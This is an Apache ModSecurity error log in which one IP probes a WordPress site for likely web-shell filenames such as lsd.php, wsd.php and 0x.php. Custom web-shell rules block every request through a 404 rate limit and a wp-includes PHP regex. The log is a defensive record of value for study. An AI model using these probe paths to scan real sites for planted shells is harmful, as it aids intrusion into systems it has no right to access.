[Wed Feb 04 01:30:45.318396 2026] [:error] [pid 5148:tid 5167] [client 52.243.58.155:22116] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aYIwxb83HCHLtUIbS7JBlQAAAVA"]
[Wed Feb 04 01:30:46.304643 2026] [:error] [pid 5229:tid 5246] [client 52.243.58.155:1860] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aYIwxkKmEgmJub93yUpk3AAAAY8"]
[Wed Feb 04 01:30:46.857241 2026] [:error] [pid 5148:tid 5152] [client 52.243.58.155:29406] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aYIwxr83HCHLtUIbS7JBmAAAAUE"]
[Wed Feb 04 01:30:47.922982 2026] [:error] [pid 5229:tid 5235] [client 52.243.58.155:29848] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aYIwx0KmEgmJub93yUpk3gAAAYQ"]
[Wed Feb 04 01:30:49.639885 2026] [:error] [pid 5148:tid 5174] [client 52.243.58.155:28370] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aYIwyb83HCHLtUIbS7JBoAAAAVc"]
[Wed Feb 04 01:30:50.622304 2026] [:error] [pid 42922:tid 42986] [client 52.243.58.155:24730] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aYIwymazX4WPS_dQRkjseQAAAIE"]
[Wed Feb 04 01:30:51.929605 2026] [:error] [pid 42921:tid 42969] [client 52.243.58.155:25228] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aYIwy4blShffGl-01ofKfAAAAEs"]
[Wed Feb 04 01:30:53.220351 2026] [:error] [pid 5229:tid 5255] [client 52.243.58.155:29842] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aYIwzUKmEgmJub93yUpk6gAAAZg"]
[Wed Feb 04 01:30:54.243207 2026] [:error] [pid 5229:tid 5253] [client 52.243.58.155:46763] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aYIwzkKmEgmJub93yUpk6wAAAZY"]
[Wed Feb 04 01:30:55.667149 2026] [:error] [pid 5229:tid 5240] [client 52.243.58.155:46766] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aYIwz0KmEgmJub93yUpk8AAAAYk"]
[Wed Feb 04 01:30:57.019385 2026] [:error] [pid 28720:tid 28732] [client 52.243.58.155:1875] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aYIw0WmRXm2bmr_sYiYkTgAAAQo"]
[Wed Feb 04 01:30:58.312460 2026] [:error] [pid 42921:tid 42962] [client 52.243.58.155:47686] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aYIw0oblShffGl-01ofKgAAAAEQ"]
[Wed Feb 04 01:30:59.698800 2026] [:error] [pid 43028:tid 43042] [client 52.243.58.155:24722] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aYIw01nHWnJD4cJC5DsjrwAAAMw"]
[Wed Feb 04 01:31:01.268989 2026] [:error] [pid 42921:tid 42977] [client 52.243.58.155:44409] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aYIw1YblShffGl-01ofKhAAAAFM"]
[Wed Feb 04 01:31:03.781999 2026] [:error] [pid 43028:tid 43038] [client 52.243.58.155:24740] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aYIw11nHWnJD4cJC5DsjtgAAAMg"]
[Wed Feb 04 01:31:04.981545 2026] [:error] [pid 43028:tid 43045] [client 52.243.58.155:24788] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aYIw2FnHWnJD4cJC5DsjugAAAM8"]
[Wed Feb 04 01:31:06.090742 2026] [:error] [pid 42921:tid 42979] [client 52.243.58.155:24763] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aYIw2oblShffGl-01ofKiwAAAFU"]
[Wed Feb 04 01:31:10.346549 2026] [:error] [pid 42920:tid 42948] [client 52.243.58.155:24755] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aYIw3iix3YKltG4EU0nUFwAAABM"]
[Wed Feb 04 01:31:11.712641 2026] [:error] [pid 43028:tid 43041] [client 52.243.58.155:24717] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aYIw31nHWnJD4cJC5DsjxgAAAMs"]
[Wed Feb 04 01:31:13.446716 2026] [:error] [pid 42921:tid 42979] [client 52.243.58.155:44369] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aYIw4YblShffGl-01ofKlgAAAFU"]
[Wed Feb 04 01:31:14.608175 2026] [:error] [pid 5229:tid 5237] [client 52.243.58.155:44359] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aYIw4kKmEgmJub93yUplBwAAAYY"]
[Wed Feb 04 01:32:02.113266 2026] [:error] [pid 42921:tid 42972] [client 52.243.58.155:24813] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aYIxEoblShffGl-01ofKwQAAAE4"]
[Wed Feb 04 01:32:02.627016 2026] [:error] [pid 5229:tid 5244] [client 52.243.58.155:44083] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aYIxEkKmEgmJub93yUplZwAAAY0"]
[Wed Feb 04 01:32:03.141792 2026] [:error] [pid 5229:tid 5233] [client 52.243.58.155:28022] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aYIxE0KmEgmJub93yUplawAAAYI"]
[Wed Feb 04 01:32:04.199271 2026] [:error] [pid 5229:tid 5237] [client 52.243.58.155:1755] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aYIxFEKmEgmJub93yUplcAAAAYY"]
[Wed Feb 04 01:32:05.817826 2026] [:error] [pid 42920:tid 42952] [client 52.243.58.155:22642] [client 52.243.58.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aYIxFSix3YKltG4EU0nURgAAABc"]
[Wed Feb 04 01:32:07.142813 2026] [:error] [pid 42920:tid 42950] [client 52.243.58.155:24018] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aYIxFyix3YKltG4EU0nUSAAAABU"]
[Wed Feb 04 01:32:08.423767 2026] [:error] [pid 5148:tid 5173] [client 52.243.58.155:41389] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aYIxGL83HCHLtUIbS7JB_gAAAVY"]
[Wed Feb 04 01:32:09.461242 2026] [:error] [pid 42921:tid 42962] [client 52.243.58.155:22599] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aYIxGYblShffGl-01ofKyAAAAEQ"]
[Wed Feb 04 01:32:09.820517 2026] [:error] [pid 43028:tid 43044] [client 52.243.58.155:37963] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aYIxGVnHWnJD4cJC5DskAwAAAM4"]
[Wed Feb 04 01:32:10.434939 2026] [:error] [pid 43028:tid 43053] [client 52.243.58.155:24011] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aYIxGlnHWnJD4cJC5DskBgAAANc"]
[Wed Feb 04 01:32:11.960705 2026] [:error] [pid 42920:tid 42932] [client 52.243.58.155:35080] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aYIxGyix3YKltG4EU0nUSwAAAAM"]
[Wed Feb 04 01:32:13.273153 2026] [:error] [pid 28720:tid 28734] [client 52.243.58.155:41396] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aYIxHWmRXm2bmr_sYiYknQAAAQw"]
[Wed Feb 04 01:32:14.095740 2026] [:error] [pid 42920:tid 42946] [client 52.243.58.155:44090] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aYIxHiix3YKltG4EU0nUTgAAABE"]
[Wed Feb 04 01:32:15.051974 2026] [:error] [pid 42921:tid 42978] [client 52.243.58.155:35092] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aYIxH4blShffGl-01ofKygAAAFQ"]
[Wed Feb 04 01:32:16.552203 2026] [:error] [pid 42920:tid 42949] [client 52.243.58.155:44065] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aYIxICix3YKltG4EU0nUVQAAABQ"]
[Wed Feb 04 01:32:17.672666 2026] [:error] [pid 5148:tid 5155] [client 52.243.58.155:24380] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aYIxIb83HCHLtUIbS7JCDwAAAUQ"]
[Wed Feb 04 01:32:18.328573 2026] [:error] [pid 28720:tid 28727] [client 52.243.58.155:32098] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aYIxImmRXm2bmr_sYiYkowAAAQU"]
[Wed Feb 04 01:32:19.261702 2026] [:error] [pid 28720:tid 28741] [client 52.243.58.155:35109] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aYIxI2mRXm2bmr_sYiYkpQAAARM"]
[Wed Feb 04 01:32:19.694714 2026] [:error] [pid 28720:tid 28725] [client 52.243.58.155:44064] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aYIxI2mRXm2bmr_sYiYkpgAAAQM"]
[Wed Feb 04 01:32:20.480886 2026] [:error] [pid 42922:tid 42999] [client 52.243.58.155:24031] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aYIxJGazX4WPS_dQRkjssQAAAI4"]
[Wed Feb 04 01:32:22.099519 2026] [:error] [pid 43028:tid 43047] [client 52.243.58.155:32557] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aYIxJlnHWnJD4cJC5DskDwAAANE"]
[Wed Feb 04 01:32:24.067152 2026] [:error] [pid 28720:tid 28742] [client 52.243.58.155:32534] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aYIxKGmRXm2bmr_sYiYktwAAARQ"]
[Wed Feb 04 01:32:26.042248 2026] [:error] [pid 5148:tid 5153] [client 52.243.58.155:41395] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aYIxKr83HCHLtUIbS7JCFAAAAUI"]
[Wed Feb 04 01:32:27.004131 2026] [:error] [pid 42920:tid 42947] [client 52.243.58.155:32519] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aYIxKyix3YKltG4EU0nUZwAAABI"]
[Wed Feb 04 01:32:27.935057 2026] [:error] [pid 5229:tid 5252] [client 52.243.58.155:32122] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aYIxK0KmEgmJub93yUplhQAAAZU"]
[Wed Feb 04 01:32:28.797382 2026] [:error] [pid 5148:tid 5173] [client 52.243.58.155:32066] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aYIxLL83HCHLtUIbS7JCHQAAAVY"]
[Wed Feb 04 01:32:29.254354 2026] [:error] [pid 5148:tid 5165] [client 52.243.58.155:41400] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aYIxLb83HCHLtUIbS7JCIAAAAU4"]
[Wed Feb 04 01:32:29.769958 2026] [:error] [pid 42922:tid 43001] [client 52.243.58.155:24332] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aYIxLWazX4WPS_dQRkjstgAAAJA"]
[Wed Feb 04 01:32:30.615155 2026] [:error] [pid 43028:tid 43041] [client 52.243.58.155:35680] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aYIxLlnHWnJD4cJC5DskEwAAAMs"]
[Wed Feb 04 01:32:32.146054 2026] [:error] [pid 43028:tid 43039] [client 52.243.58.155:29458] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aYIxMFnHWnJD4cJC5DskFwAAAMk"]
[Wed Feb 04 01:32:32.942013 2026] [:error] [pid 43028:tid 43049] [client 52.243.58.155:38030] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aYIxMFnHWnJD4cJC5DskGwAAANM"]
[Wed Feb 04 01:32:34.070064 2026] [:error] [pid 43028:tid 43046] [client 52.243.58.155:32549] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aYIxMlnHWnJD4cJC5DskHQAAANA"]
[Wed Feb 04 01:32:34.967691 2026] [:error] [pid 42920:tid 42932] [client 52.243.58.155:27936] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aYIxMiix3YKltG4EU0nUbQAAAAM"]
[Wed Feb 04 01:32:36.441871 2026] [:error] [pid 42922:tid 42992] [client 52.243.58.155:27958] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aYIxNGazX4WPS_dQRkjsvQAAAIc"]
[Wed Feb 04 01:32:41.371822 2026] [:error] [pid 42921:tid 42968] [client 52.243.58.155:32076] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aYIxOYblShffGl-01ofK3gAAAEo"]
[Wed Feb 04 01:32:41.939161 2026] [:error] [pid 5148:tid 5156] [client 52.243.58.155:27955] [client 52.243.58.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aYIxOb83HCHLtUIbS7JCJwAAAUU"]
